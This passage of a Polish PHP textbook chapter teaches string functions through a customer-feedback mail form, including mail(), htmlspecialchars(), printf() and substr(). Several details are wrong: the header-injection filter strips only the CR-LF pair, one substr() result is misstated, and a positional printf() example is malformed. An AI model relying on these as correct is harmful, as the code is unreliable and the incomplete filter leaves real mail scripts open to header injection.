aby mogli oni przesyłać skargi bądź pochwały. Formularz ten jest podobny do przedstawionego
na rysunku 4.1. Jednak aplikacja ta będzie posiadać jedno ulepszenie, rzadko spotykane w sieci
WWW. Zamiast wysyłać komentarze pocztą na ogólny adres pocztowy, taki jak na przykład
komentarze@przyklad.com, będzie wybierać docelowego odbiorcę komentarza poprzez poszukiwa-
nie kluczowych słów i znaków. Następnie wysyła komentarz bezpośrednio do odpowiedniego
pracownika firmy Janka. Na przykład jeżeli list zawiera słowo „reklama”, należy przesłać go do
działu marketingu. Jeśli pochodzi od największego klienta, powinien zostać przekazany bezpo-
średnio do Janka.
116 Część I  Stosowanie PHP

Rysunek 4.1.
Formularz komentarzy
firmy Janka „prosi”
klientów o podanie
nazwiska, adresu
poczty elektronicznej
i komentarza

Na początku przedstawiony zostanie bardzo prosty skrypt z listingu 4.1, który będzie rozbudowy-
wany w dalszej części rozdziału.

Listing 4.1. przetworzkomentarz.php — Podstawowy skrypt wysyłający komentarze


<?php
// utworzenie krótkich nazw zmiennych
$nazwa = $_POST['nazwa'];
$email = $_POST['email'];
$komentarz = $_POST['komentarz'];

// zdefiniowanie danych statycznych


$adresdo = "komentarze@przyklad.com";

$temat = "Komentarz ze strony WWW";

$zawartosc = "Nazwa klienta: ".filter_var($nazwa)."\n"


."Adres pocztowy: ".$email."\n"
."Komentarz klienta: \n".$komentarz."\n";

$adresod = "serwerwww@przyklad.com";

// wywołanie funkcji mail() wysyłającej wiadomość e-mail


mail($adresdo, $temat, $zawartosc, $adresod);

?>
<!DOCTYPE html>
<html>
<head>
<title>Części samochodowe Janka — komentarz przyjęty</title>
</head>
<body>

<h1>Komentarz przyjęty</h1>
<p>Państwa komentarz został wysłany.</p>

</body>
</html>
Rozdział 4.  Manipulowanie łańcuchami znaków i wyrażenia regularne 117

Należy zauważyć, że generalnie powinien zostać zastosowany mechanizm sprawdzający wypeł-


nienie przez klientów wszystkich wymaganych pól formularza, wykorzystujący na przykład funkcję
empty(). Jednak w celu zachowania zwięzłości w powyższym i następnych skryptach mechanizmy
te zostały pominięte.

W powyższym skrypcie pola formularza zostały połączone i przy użyciu funkcji PHP mail()
wysłane na adres komentarze@przyklad.com. Jest to tylko przykładowy adres pocztowy. Aby
móc przetestować kody prezentowane w tym rozdziale, w jego miejsce trzeba wstawić rzeczywisty
adres poczty elektronicznej. Ponieważ jest to pierwsze w tej książce zastosowanie funkcji mail(),
poniżej znajduje się jej dokładniejszy opis.

Jak łatwo przewidzieć, funkcja ta wysyła pocztę elektroniczną. Prototyp funkcji mail() wygląda
następująco:
bool mail(string do, string temat, string wiadomosc, string [dodatkowe_naglowki [, string
dodatkowe_parametry]]);

Pierwsze trzy parametry są wymagane i opisują odpowiednio adres pocztowy odbiorcy, temat
wiadomości i samą wiadomość. Czwarty parametr może być zastosowany do wysłania dodatkowych
standaryzowanych nagłówków pocztowych. Standaryzowane nagłówki pocztowe są opisane
w dokumencie RFC822, dostępnym w formie elektronicznej (RFC, czyli prośby o komentarz —
Requests for Comment). Stanowią one źródło wielu standardów internetowych, opisanych szerzej
w rozdziale 18. Powyżej czwarty parametr został zastosowany do dodania do listu adresu From:.
W ten sposób można również dodać m.in. pola Reply-to: i Cc:. Aby dorzucić więcej niż jeden
nagłówek, należy rozdzielić te nagłówki w łańcuchu znaków symbolami nowego wiersza i powrotu
karetki (\r\n), jak przedstawiono poniżej:
$dodatkowe_naglowki="From: serwerwww@przyklad.com\r\n"
."Reply-to: janek@przyklad.com";

Opcjonalny piąty parametr może zostać użyty do przekazywania parametru do programu pocztowe-
go, za pomocą którego będzie wysłana wiadomość.

Aby mieć możliwość korzystania z funkcji mail(), należy ustawić instalację PHP tak, aby posiadała
dane programu wysyłającego pocztę. Jeżeli powyższy skrypt nie działa poprawnie, przyczyną
może być błąd instalacji — trzeba wówczas dokładnie sprawdzić dodatek A, „Instalacja Apache,
PHP i MySQL”.

W dalszej części rozdziału powyższy podstawowy skrypt zostanie rozwinięty poprzez wykorzy-
stanie funkcji łańcuchowych i funkcji obsługi wyrażeń regularnych PHP.

Formatowanie łańcuchów znaków


Często zachodzi potrzeba uporządkowania łańcuchów znaków wprowadzonych przez użytkownika
(zazwyczaj poprzez interfejs formularza HTML), zanim będą się one nadawały do użytku. W na-
stępnych punktach opiszemy niektóre funkcje, jakie można stosować.
118 Część I  Stosowanie PHP

Przycinanie łańcuchów — funkcje chop(), ltrim() i trim()


Pierwszym etapem porządkowania jest usunięcie z łańcucha znaków zbędnych odstępów. Chociaż
nie jest to działanie obowiązkowe, może ułatwić przechowywanie łańcucha w pliku lub w bazie
danych, a także porównywanie go z innymi łańcuchami znaków.

PHP posiada trzy funkcje o takim przeznaczeniu. Na początku skryptu, gdy zmiennym z formularza
wejściowego nadawane są krótkie nazwy, można uporządkować wprowadzone dane przy użyciu
funkcji trim() w następujący sposób:
$nazwa=trim($_POST['nazwa']);
$adres=trim($_POST['adres']);
$komentarz=trim($_POST['komentarz']);

Funkcja trim() usuwa znaki odstępu z początku i końca łańcucha, po czym zwraca łańcuch wyni-
kowy. Znaki, które usuwa, to symbole nowego wiersza i powrotu karetki (\n i \r), poziome
i pionowe znaki tabulacji (\t i \x0B), znaki końca łańcucha (\0) i spacje. Można również
przekazać do niej drugi parametr zawierający listę znaków, które należy usunąć zamiast listy
domyślnej. Zależnie od pożądanego rezultatu, możliwe jest zastosowanie zamiast funkcji trim()
funkcji ltrim() lub rtrim(). Obie podobne są do trim(); pobierają łańcuch znaków i zwracają go
w postaci sformatowanej. Różnica między nimi polega na tym, że trim() usuwa znaki odstępu
z początku i końca łańcucha, ltrim() jedynie z początku (czyli z lewej strony), a rtrim() tylko
z końca (czyli z prawej strony).

Zamiast rtrim() można także używać tej samej funkcji pod inną nazwą: chop(). Podobne funkcje
są dostępne w języku Perl, choć działają one nieco inaczej; dlatego osoby mające doświadczenie
w stosowaniu tego języka powinny zachować ostrożność i uważać, by nie przenosić swoich przy-
zwyczajeń z Perla na grunt PHP.

Formatowanie wyjściowych łańcuchów znaków


PHP posiada zestaw funkcji przydatnych do formatowania łańcuchów znaków przeznaczonych do
różnych celów.

Filtrowanie łańcuchów znaków w celu ich wyświetlenia


Zawsze w przypadku zapisywania lub wyświetlania danych wprowadzonych przez użytkownika
konieczne jest dostosowanie ich do planowanego zastosowania. Wynika to z tego, że niemal
wszystkie miejsca docelowe, w których takie łańcuchy mogą być zapisywane, traktują pewne
znaki lub ich sekwencje jako znaki lub sekwencje sterujące, a w żadnym razie nie można dopuścić
do tego, by jakieś dane wprowadzone przez użytkownika zostały potraktowane jako polecenia.

Na przykład podczas wyświetlania danych wpisanych przez użytkownika w przeglądarce należy


zadbać o to, by przeglądarka nie wykonała żadnego kodu HTML lub JavaScript, który użytkownik
mógł umieścić we wprowadzonych danych. Jest to konieczne nie tylko ze względu na możli-
wość zniszczenia układu strony, lecz także ze względu na to, że dopuszczenie do wykonywania
dowolnych poleceń czy kodu wprowadzanego przez użytkowników stanowi poważne zagrożenie
bezpieczeństwa. Zagadnienie to zostanie opisane znacznie bardziej szczegółowo w trzeciej części
książki, „E-commerce i bezpieczeństwo”. W tym podpunkcie niniejszego rozdziału zostanie także
przedstawione rozszerzenie do filtrowania o ogólnym przeznaczeniu, pozwalające na dowolne fil-
trowanie łańcuchów znaków pod kątem ich planowanego przeznaczenia.
Rozdział 4.  Manipulowanie łańcuchami znaków i wyrażenia regularne 119

Filtrowanie łańcuchów do przeglądarki


z użyciem funkcji htmlspecialchars()
Ta funkcja była już używana w poprzednich rozdziałach, niemniej jednak warto jeszcze raz przypo-
mnieć jej działanie. Funkcja htmlspecialchars() konwertuje znaki, które mają specjalne znacze-
nie w języku HTML, na odpowiadające im symbole HTML. Na przykład znak < zostanie przez
nią zamieniony na symbol HTML &lt;.

Prototyp tej funkcji ma następującą postać:


string htmlspecialchars(string łańcuch [, int flagi = ENT_COMPAT | ENT_HTML401
[, string kodowanie = 'UTF-8' [, bool podwojne_kodowanie = true ]]])

Ogólnie rzecz biorąc, funkcja ta przekształca znaki przedstawione w tabeli 4.1 na odpowiadające
im symbole HTML.

Tabela 4.1. Symbole HTML kodowane przez funkcję htmlspecialchars()

Znak Przekształcenie
& &amp;

" &quot;
' &apos;

< &lt;
> &gt;

Jeśli chodzi o działanie tej funkcji, to domyślnie koduje ona wyłącznie cudzysłowy. Znaki apostrofu
nie są domyślnie konwertowane, przy czym można to zmienić przy użyciu parametru flagi.

Pierwszym parametrem funkcji htmlspecialchars() jest konwertowany łańcuch znaków. Wywoła-


nie funkcji powoduje zwrócenie skonwertowanego łańcucha znaków.

Uwaga: Jeśli wejściowy łańcuch znaków nie jest prawidłowy w stosowanym sposobie kodowania,
to funkcja zwróci pusty łańcuch znaków, a jednocześnie nie będzie zgłaszać jakichkolwiek
błędów. Taki sposób działania jest celowy i ma zapobiegać problemom związanym ze wstrzyki-
waniem kodu.

Pierwszy opcjonalny parametr funkcji, flagi, określa sposób przeprowadzania konwersji. Jego
wartością jest maska bitowa reprezentująca połączone ze sobą, dostępne stałe. Wartością domyślną
tego parametru, co pokazuje prototyp funkcji, jest ENT_COMPAT | ENT_HTML401. Stała ENT_COMPAT
wskazuje na to, że znaki cudzysłowu powinny być konwertowane, a znaki apostrofu nie. Z kolei
stała ENT_HTML401 informuje funkcję, że przekazany łańcuch powinien być traktowany jako kod
w języku HTML 4.01.

Drugi opcjonalny parametr funkcji, kodowanie, określa sposób kodowania używany podczas kon-
wersji. Począwszy od wersji PHP 5.4, domyślnie stosowane jest kodowanie UTF-8. Wcześniej
było to kodowanie ISO-8859-1, określane także jako Latin-1. Kompletna lista obsługiwanych
sposobów kodowania dostępna jest w dokumentacji PHP.

Trzeci opcjonalny parametr funkcji, podwojne_kodowanie, określa, czy należy kodować symbole
HTML umieszczone w przekazanym łańcuchu znaków. Domyślna wartość tego parametru (true)
nakazuje, by były one (ponownie) kodowane.

Tabela 4.2 zawiera kompletną listę stałych, które mogą być używane w parametrze flagi funkcji
htmlspecialchars().
120 Część I  Stosowanie PHP

Tabela 4.2. Stałe funkcji htmlspecialchars

Flaga Znaczenie
ENT_COMPAT Konwertowane będą znaki cudzysłowu, lecz nie apostrofy.
ENT_NOQUOTES Nie będą konwertowane ani znaki cudzysłowu, ani apostrofy.
ENT_QUOTES Konwertowane będą zarówno cudzysłowy, jak i apostrofy.
ENT_HTML401 Łańcuch wejściowy będzie traktowany jako kod HTML 4.01.
ENT_XML1 Łańcuch wejściowy będzie traktowany jako kod XML 1.
ENT_XHTML Łańcuch wejściowy będzie traktowany jako kod XHTML.
ENT_HTML5 Łańcuch wejściowy będzie traktowany jako kod HTML5.
ENT_IGNORE Eliminuje nieprawidłowe sekwencje jednostek kodowych, zamiast zwracać pusty
łańcuch znaków. Ze względów bezpieczeństwa rozwiązanie to nie jest zalecane.
ENT_SUBSTITUTE Zastępuje nieprawidłowe sekwencje jednostek kodowych znakiem zastępczym
Unicode (ang. Unicode Replecement Character).
ENT_DISALLOWED Zastępuje nieprawidłowe punkty kodowe znakiem zastępczym Unicode.

Filtrowanie łańcuchów pod kątem innych zastosowań


W zależności od tego, gdzie będzie używany łańcuch znaków, zmieniają się znaki, które poten-
cjalnie mogą nastręczać problemów. W poprzednim podpunkcie rozdziału została przedstawiona
funkcja htmlspecialchars(), która konwertuje łańcuchu znaków pod kątem wyświetlania ich
w przeglądarkach WWW.

W przykładzie zaprezentowanym na listingu 4.1 wynikowy łańcuch znaków zostaje przesłany


jako wiadomość poczty elektronicznej. W tym przypadku nie ma znaczenia, czy łańcuch ten
zawiera kod HTML, czy nie, więc zastosowanie funkcji htmlspecialchars() nie jest poprawnym
rozwiązaniem.

W przypadku wiadomości poczty elektronicznej największe znaczenie ma oddzielenie poszcze-


gólnych nagłówków wiadomości sekwencją znaków \r\n (powrotu karetki i nowego wiersza).
Należy się zatem koniecznie upewnić, czy wprowadzone przez użytkownika dane, które mają
zostać użyte w nagłówku wiadomości, nie zawierają tych znaków, gdyż w przeciwnym razie
powstanie zagrożenie atakiem określanym jako wstrzykiwanie nagłówków (ang. header injection).
(Zagadnienie to zostanie bardziej szczegółowo opisane w trzeciej części książki).

Podobnie jak wiele innych problemów związanych z przetwarzaniem łańcuchów znaków, także i ten
można rozwiązać na kilka sposobów. Jednym z nich jest zastosowanie funkcji str_replace(),
przedstawione w poniższym przykładzie:
$mailcontent = "Nazwa klienta: ".str_replace("\r\n", "", $name)."\n".
"Adres e-mail klienta: ".str_replace("\r\n", "",$email)."\n".
"Komentarze klienta:\n".str_replace("\r\n", "",$feedback)."\n";

Jeśli konieczne będzie zastosowanie bardziej złożonych reguł dopasowywania oraz zamiany, można
skorzystać z wyrażeń regularnych, opisanych w dalszej części tego rozdziału. Jednak w prostych
przypadkach, takich jak chęć całkowitego zastąpienia jednego łańcucha znaków drugim, należy
zastosować funkcję str_replace(). Funkcja str_replace() zostanie szczegółowo omówiona
w dalszej części rozdziału.
Rozdział 4.  Manipulowanie łańcuchami znaków i wyrażenia regularne 121

Stosowanie formatowania HTML — funkcje nl2br()


Funkcja nl2br() pobiera jako parametr łańcuch znaków i zamienia w nim wszystkie znaki końca
wierszy na znacznik XHTML <br />. Funkcja ta jest użyteczna przy wyświetlaniu w przeglądarce
długich łańcuchów. Poniżej przedstawiono przykład zastosowania tej funkcji do sformatowania
i wyświetlenia komentarza klienta:
<p>Państwa komentarz pokazany poniżej) został wysłane.</p>
<p><?php echo nl2br(htmlspecialchars($zawartosc)); ?> </p>

Należy pamiętać, że HTML nie zwraca uwagi na odstępy, tak więc jeżeli komentarz nie zostanie
przefiltrowany przez funkcję nl2br(), zostanie wyświetlony w jednym wierszu (poza podziałem
wymuszonym przez wielkość okna przeglądarki). Wynik tego jest przedstawiony na rysunku 4.2.

Rysunek 4.2.
Zastosowanie funkcji
PHP nl2br() poprawia
wygląd długich
łańcuchów w HTML

Należy zwrócić uwagę na to, że w powyższym przykładzie najpierw wywoływana jest funkcja
htmlspecialchars(), a następnie funkcja nl2br(). Taka kolejność wywołań jest konieczna, gdyż
w razie jej odwrócenia znaczniki <br /> wstawione przez wywołanie funkcji nl2br() zosta-
łyby przekształcone przez funkcję htmlspecialchars() na symbole HTML, co nie dałoby zamie-
rzonego efektu.

Po zastosowaniu powyższych modyfikacji skrypt przetwarzający zamówienia formatuje już dane


wprowadzone przez użytkownika w taki sposób, że mogą być one użyte zarówno w wiadomości
poczty elektronicznej, jak i w kodzie HTML strony. Zmodyfikowany kod skryptu został przed-
stawiony na listingu 4.2.

Listing 4.2. przetworzkomentarz_v2.php — zmodyfikowany skrypt przesyłający komentarz pocztą elektroniczną

<?php
// utworzenie krótkich nazw zmiennych
$nazwa = trim($_POST['nazwa']);
$email = trim($_POST['email']);
$komentarz = trim($_POST['komentarz']);

// zdefiniowanie danych statycznych


$adresdo = "komentarze@przyklad.com";

$temat = "Komentarz ze strony WWW";


122 Część I  Stosowanie PHP

$zawartosc = "Nazwa klienta: ".str_replace("\r\n", "", $nazwa)."\n".


"Adres pocztowy: ".str_replace("\r\n", "",$email)."\n".
"Komentarz klienta: \n".str_replace("\r\n", "",$komentarz)."\n";

$adresod = "serwerwww@przyklad.com";

// wywołanie funkcji mail() wysyłającej wiadomość e-mail


mail($adresdo, $temat, $zawartosc, $adresod);
?>
<!DOCTYPE html>
<html>
<head>
<title>Części samochodowe Janka — komentarz przyjęty</title>
</head>
<body>

<h1>Komentarz przyjęty</h1>
<p>Państwa komentarz (przedstawiony poniżej) został wysłany.</p>
<p><?php echo nl2br(htmlspecialchars($zawartosc)); ?> </p>
</body>
</html>

Istnieje także wiele innych funkcji służących do obsługi łańcuchów znaków, które mogą się oka-
zać przydatne. Zostaną one dokładniej opisane w dalszej części tego podrozdziału.

Formatowanie łańcucha znaków do wyświetlenia


Dotychczas do wyświetlania łańcuchów znaków w przeglądarce stosowana była konstrukcja języ-
kowa echo. PHP rozpoznaje również funkcję print() — działa ona tak samo jak echo, jednak jest
funkcją i jako taka zwraca wartość, którą w jej przypadku zawsze jest 1.

Obie techniki wyświetlają łańcuch „na surowo”. Aby zastosować bardziej złożone formatowa-
nie, należy skorzystać z funkcji printf() i sprintf(). Działają one w zasadzie w identyczny
sposób, z tym że printf() wyświetla sformatowany łańcuch znaków, a sprintf() po prostu go
zwraca.

Osoby znające język C szybko zorientują się, że funkcje te pod względem koncepcyjnym są
podobne do ich wersji w C. Trzeba jednak od razu zaznaczyć, że ich składnia nie jest identyczna.
Osoby nieznające tego języka będą musiały przyzwyczaić się do nich, lecz warto podjąć ten wysiłek,
gdyż są one użyteczne i efektywne.

Prototypy tych funkcji wyglądają następująco:


string sprintf (string format [, mixed agrumenty...])
int printf (string format [, mixed agrumenty...])

Pierwszy z parametrów przekazywany obu funkcjom to łańcuch znaków opisujący podstawowy


kształt wyświetlanych danych, z kodami formatowania zamiast zmiennych. Pozostałe parametry to
zmienne, które zostaną podstawione do formatowanego łańcucha.
Na przykład przy korzystaniu z echo zmienne mające zostać wyświetlone były umieszczone
w łańcuchu:
echo "Wartość zamówienia wynosi $wartosc.";

Aby osiągnąć ten sam efekt za pomocą funkcji printf(), należy napisać:
printf ("Wartość zamówienia wynosi %s", $wartosc);
Rozdział 4.  Manipulowanie łańcuchami znaków i wyrażenia regularne 123

Znak %s w formatowanym łańcuchu znaków zwany jest specyfikatorem konwersji. Ten konkretny
znak oznacza „zamień na łańcuch”. W tym przypadku zostanie on zamieniony na zmienną $wartosc,
interpretowaną jako łańcuch znaków. Jeżeli wartość zmiennej $wartosc wynosiła na przykład 12.4,
obie techniki wyświetlą ją jako 12.4.
Przewagą funkcji printf() jest możliwość zastosowania bardziej przydatnego specyfikatora kon-
wersji, wskazującego na przykład, że zmienna $wartosc jest w rzeczywistości liczbą zmienno-
przecinkową i że powinna mieć dwa miejsca po przecinku. Przedstawiono to poniżej:
printf ("Wartość zamówienia wynosi %.2f", $wartosc);

Po podaniu takiego sposobu formatowania powyższa instrukcja wyświetli wartość 12,4 przechowy-
waną w zmiennej $wartosc w postaci 12.40.
W formatowanym łańcuchu można zastosować kilka specyfikatorów konwersji. Jeżeli istnieje n
specyfikatorów konwersji, to po formatowanym łańcuchu znaków powinno znaleźć się n argumen-
tów. Każdy specyfikator konwersji zostanie zamieniony przeformatowanym argumentem w porząd-
ku, w jakim są one wyszczególnione. Na przykład:
printf ("Wartość zamówienia wynosi %.2f (z dostawą %.2f) ", $wartosc, $transport);

W tym przypadku pierwszy specyfikator konwersji zastosuje zmienną $wartosc, a drugi zmienną
$transport.

Każdy specyfikator konwersji jest skonstruowany według jednego formatu, który wygląda nastę-
pująco:
%[+]['znak_dopełnienia][–][szerokosc][.dokładnosc]typ

Wszystkie specyfikatory konwersji rozpoczynają się od znaku %. Aby rzeczywiście wyświetlić


symbol %, należy zastosować %%.
Znak + jest opcjonalny. Domyślnie jedynie w przypadku liczb mniejszych od zera jest wyświetlany
znak (a konkretnie znak -). Jednak jeśli w tym miejscu zostanie umieszczony znak, liczby dodat-
nie będą poprzedzane znakiem +, a liczby ujemne znakiem -.
Znak_dopełnienia jest opcjonalny. Będzie on rozszerzał zmienną do określonej szerokości. Przykła-
dem zastosowania tego parametru jest dodanie wiodących zer w stylu licznika. Domyślnym
znakiem dopełnienia jest znak spacji. Jeżeli wskazuje się znak spacji lub zera, nie trzeba poprzedzać
go apostrofem ('). Natomiast każdy inny znak dopełniający należy poprzedzić znakiem apostrofu.
Symbol - jest opcjonalny. Określa on, czy dane w polu mają być wyrównane do lewej strony
zamiast domyślnego wyrównania do prawej.
Parametr szerokosc podaje printf() informację, ile miejsca (w znakach) należy zarezerwować dla
zmiennej.
Parametr dokladnosc powinien rozpoczynać się od znaku dziesiętnego (kropki). Powinien również
zawierać pożądaną liczbę miejsc po przecinku.
Ostatnią częścią specyfikatora jest kod typu. Zestawienie typów przedstawiono w tabeli 4.3.

Gdy funkcja printf() jest wywoływana wraz z kodami konwersji, można wykorzystać wyliczanie
argumentów. Oznacza to, że argumenty nie muszą być wymieniane w takiej samej kolejności,
w jakiej zapisane są w specyfikacji konwersji. Na przykład:
printf ("Wartość zamówienia wynosi %.2\$.2f (z dostawą %1\$.2f) ", $wartosc, $transport, $wartosc);
124 Część I  Stosowanie PHP

Tabela 4.3. Typy kodów specyfikatorów konwersji

Typ Znaczenie
% Znak %
b Zinterpretować jako integer i wyświetlić jako liczbę binarną
c Zinterpretować jako integer i wyświetlić jako znak
d Zinterpretować jako integer i wyświetlić jako liczbę dziesiętną
e Zinterpretować jako liczbę zmiennoprzecinkową o podwójnej precyzji (double) i wyświetlić w zapisie
naukowym. W tym przypadku precyzja określa liczbę cyfr po przecinku dziesiętnym
E To samo co e, lecz zostanie wyświetlona wielka litera E
f Zinterpretować jako liczbę zmiennoprzecinkową (float) i wyświetlić w sposób odpowiedni dla liczb
tego typu z uwzględnieniem ustawień lokalnych
F Zinterpretować jako liczbę zmiennoprzecinkową (float) i wyświetlić w sposób odpowiedni dla liczb
tego typu bez uwzględniania ustawień lokalnych
g Krótszy z zapisów, jakie można uzyskać, używając specyfikatorów e lub f
G Krótszy z zapisów, jakie można uzyskać, używając specyfikatorów E lub F
o Zinterpretować jako integer i wyświetlić jako liczbę ósemkową
s Zinterpretować jako string i wyświetlić jako łańcuch znaków
u Zinterpretować jako integer i wyświetlić jako liczbę dziesiętną bez znaku
x Zinterpretować jako integer i wyświetlić jako liczbę szesnastkową z małymi literami a – f
X Zinterpretować jako integer i wyświetlić jako liczbę szesnastkową z wielkimi literami A – F

Wystarczy jedynie wskazać pozycję na liście bezpośrednio po znaku % i wpisać po nim znak ukośni-
ka oraz dolara — w naszym przykładzie 2\$ oznacza „wymień na drugi argument z listy”. Metoda
ta może być również użyta do powtarzania argumentów.
Istnieją dwie alternatywne wersje tej funkcji: vprintf() i vsprintf(). Obydwie zamiast zmiennej
liczby parametrów przyjmują dwa argumenty: łańcuch formatujący oraz tablicę argumentów.

Zmiana wielkości liter w łańcuchu


Możliwe jest również przeformatowanie wielkości liter, niezbyt jednak użyteczne dla przykładowej
aplikacji (podane zostały krótkie przykłady).
Jeżeli weźmie się pod uwagę łańcuch tematu, $temat, który stosowany jest w przykładowym
liście, można zmieniać wielkość jego liter za pomocą kilku funkcji. Wyniki ich działania są przed-
stawione w tabeli 4.4. Pierwsza kolumna tabeli zawiera nazwy funkcji, druga opisuje efekty ich
zastosowania, trzecia pokazuje sposób ich funkcjonowania na przykładowym łańcuchu $temat,
a ostatnia wartości, które powinny zostać zwrócone przy pracy z łańcuchem znaków $temat.
Rozdział 4.  Manipulowanie łańcuchami znaków i wyrażenia regularne 125

Tabela 4.4. Funkcje wielkości liter w łańcuchach znaków i efekty ich zastosowania

Funkcja Opis Przykład Wartość


$temat Komentarz ze strony WWW
strtoupper() Zamiana łańcucha na wielkie strtoupper($temat) KOMENTARZ ZE STRONY
litery WWW
strtolower() Zamiana łańcucha na małe litery strtolower($temat) komentarz ze strony www
ucfirst() Zamiana na wielką pierwszej ucfirst($temat) Komentarz ze strony WWW
litery łańcucha, jeżeli jest ona
elementem alfabetu
ucwords() Zamiana na wielką pierwszej ucwords($temat) Komentarz Ze Strony WWW
litery każdego wyrazu, jeżeli
jest ona elementem alfabetu

Łączenie i rozdzielanie łańcuchów znaków


za pomocą funkcji łańcuchowych
Często zachodzi konieczność indywidualnego przetworzenia fragmentów łańcuchów znaków, na
przykład w celu obejrzenia słów w zdaniu (chociażby dla sprawdzenia poprawności gramatycz-
nej) lub rozbicia nazwy domeny bądź adresu poczty elektronicznej na części składowe. PHP
posiada kilka funkcji łańcuchowych (i jedną funkcję wyrażenia regularnego), które umożliwiają
te działania.
Przykładowo Janek chciałby, aby każdy komentarz klienta z domeny duzyklient.com trafiał bezpo-
średnio do niego. Należy więc rozbić adres wpisany przez użytkownika w komentarzu na części,
aby poznać nazwę domeny i stwierdzić, czy jest to komentarz od głównego klienta.

Stosowanie funkcji explode(), implode() i join()


Pierwszą z funkcji, której można użyć w tym celu, jest explode(). Posiada ona następujący
prototyp:
array explode(string separator, string wpis [, int limit])

Funkcja ta bierze łańcuch znaków o nazwie wpis i rozbija go na części według separatora,
po czym zwraca części w formie tablicy. Można ograniczyć liczbę części za pomocą opcjonalnego
parametru limit.
Aby otrzymać nazwę domeny z adresu poczty elektronicznej klienta, należy zastosować następu-
jący fragment kodu:
$tablica_email = explode('@', $email);

To wywołanie explode() rozdziela adres poczty elektronicznej klienta na dwie części — nazwę
użytkownika, która jest przechowywana w $tablica_email[0], oraz nazwę domeny, przechowy-
waną w $tablica_email[1]. Następnie można napisać kod sprawdzający nazwę domeny i przesy-
łający komentarz na odpowiedni adres:
if ($tablica_email[1] == "duzyklient.com") {
$adresdo = "janek@przyklad.com";
} else {
$adresdo = "komentarze@przyklad.com";
}
126 Część I  Stosowanie PHP

Należy zauważyć, że jeżeli nazwa domeny jest zapisana wielkimi literami bądź literami różnej
wielkości, ta metoda nie będzie działać. Można ominąć ten problem poprzez wykonanie w pierw-
szej kolejności konwersji domeny w całości na wielkie lub małe litery, a później sprawdzenie
warunku:
if (strtolower($tablica_email[1]) == "duzyklient.com") {
$adresdo = "janek@przyklad.com";
} else {
$adresdo = "komentarze@przyklad.com";
}

Możliwe jest odwrócenie efektów explode() przez zastosowanie funkcji implode() bądź join(),
które są identyczne. Na przykład:
$nowy_email = implode('@', $tablica_email);

Powyższe wyrażenie pobiera elementy z tablicy $tablica_email i łączy je za pomocą łańcu-


cha znaków przekazanego jako pierwszy parametr. Wywołanie funkcji jest bardzo podobne do
explode(), lecz efekt jest odwrotny.

Stosowanie funkcji strtok()


Inaczej niż explode(), która rozbija łańcuch znaków na wszystkie kawałki jednocześnie, funkcja
strtok() pobiera z łańcucha części (zwane żetonami) po jednej. Funkcja ta jest użyteczną alter-
natywą dla explode() przy przetwarzaniu pojedynczych słów z łańcucha.

Prototyp strtok() jest następujący:


string strtok(string wpis, string separator);

Separatorem może być zarówno znak, jak i łańcuch znaków. Należy jednak zauważyć, że wejściowy
łańcuch znaków zostanie rozbity przy każdym z elementów łańcucha separacyjnego, a nie przy
całym łańcuchu, jak to się dzieje w przypadku explode().

Wywoływanie strtok() nie jest, wbrew jej prototypowi, tak proste. Aby otrzymać pierwszy żeton
z łańcucha, należy wywołać strtok() z łańcuchem znaków, który ma zostać rozbity, oraz z sepa-
ratorem. W celu uzyskania następnych żetonów wystarczy podać jeden parametr — separator.
Funkcja utrzymuje swój wewnętrzny wskaźnik w odpowiednim miejscu łańcucha. Aby wyzero-
wać wskaźnik, należy ponownie podać funkcji łańcuch znaków do rozbicia.

Funkcja strtok() jest zazwyczaj stosowana w następujący sposób:


$zeton = strtok($komentarz, " ");
while ($zeton != "") {
echo $zeton."<br />";
$zeton = strtok(" ");
}

Jak zwykle dobrym pomysłem jest sprawdzenie, czy klient w ogóle wpisał jakiś komentarz.
Można to zrobić, stosując na przykład funkcję empty(). W powyższym przykładzie działanie to
zostało ominięte w celu zachowania zwięzłości.

Powyższy kod wyświetla każdy żeton z komentarza klienta w osobnym wierszu i robi pętle,
dopóki są dostępne żetony.
Rozdział 4.  Manipulowanie łańcuchami znaków i wyrażenia regularne 127

Stosowanie funkcji substr()


Funkcja substr() pozwala na dostęp do fragmentu łańcucha zawartego pomiędzy jego podanymi
miejscami: początkowym i końcowym. Nie ma ona zastosowania dla przykładu prezentowanego
w tej książce, lecz może być użyteczna, kiedy zachodzi konieczność wyciągnięcia części łańcucha
o ustalonym formacie.

Funkcja substr() posiada następujący prototyp:


string substr(string ciag, int start, int [dlugosc]);

Funkcja ta zwraca łańcuch skopiowany z łańcucha wejściowego przekazanego jako ciąg.

Przykłady zostaną przedstawione na następującym łańcuchu testowym:


$test = 'Wasza obsługa klientów jest wspaniała';

Jeżeli funkcja ta zostanie wywołana jedynie z dodatnią wartością parametru start, wynikiem
będzie łańcuch rozpoczynający się od pozycji start do końca łańcucha. Na przykład:
substr($test, 1);

zwraca Wasza obsługa klientów jest wspaniała. Należy zauważyć, że pierwsza pozycja w łań-
cuchu nosi numer 0, podobnie jak w wypadku tablic.

Jeżeli funkcja ta zostanie wywołana jedynie z ujemną wartością parametru start, wynikiem będzie
końcówka łańcucha wejściowego o długości start znaków. Na przykład:
substr($test, -9);

zwraca wspaniała.

Parametr dlugosc może być zastosowany do określenia liczby znaków, którą funkcja ma zwrócić
(jeżeli jest dodatni). Służy też do wyznaczenia liczby znaków, licząc od końca łańcucha wejścio-
wego, którą funkcja ma pominąć (jeżeli jest ujemny). Na przykład
substr($test, 0, 5);

zwraca pierwsze pięć znaków łańcucha, w tym przypadku Wasza. Następujący kod:
echo substr($test, 5, -15);

zwraca znaki pomiędzy piątym od początku i piętnastym od końca, to jest obsługa klientów.
Pierwszy znak ma numer 0, a zatem na pozycji piątej znajduje się znak szósty.

Porównywanie łańcuchów znaków


Dotychczas do sprawdzania równości łańcuchów znaków był stosowany operator ==. PHP pozwala
na przeprowadzanie nieco bardziej złożonych porównań. Można podzielić je na dwie kategorie —
porównania częściowe i pozostałe. Najpierw przedstawione zostaną porównania pozostałe, a potem
nastąpi opis porównań częściowych, potrzebnych do dalszego omówienia przykładu Inteligentnego
Formularza.
128 Część I  Stosowanie PHP

Porządkowanie łańcuchów znaków


— funkcje strcmp(), strcasecmp() i strnatcmp()
Funkcje strcmp(), strcasecmp() i strnatcmp() mogą być zastosowane do porządkowania łańcuchów
znaków, co jest przydatne przy sortowaniu danych.

Prototyp funkcji strcmp() jest następujący:


int strcmp(string ciag1, string ciag2);

Funkcja pobiera dwa łańcuchy znaków, które porównuje. Jeżeli są równe, zwróci 0. Jeśli ciag1
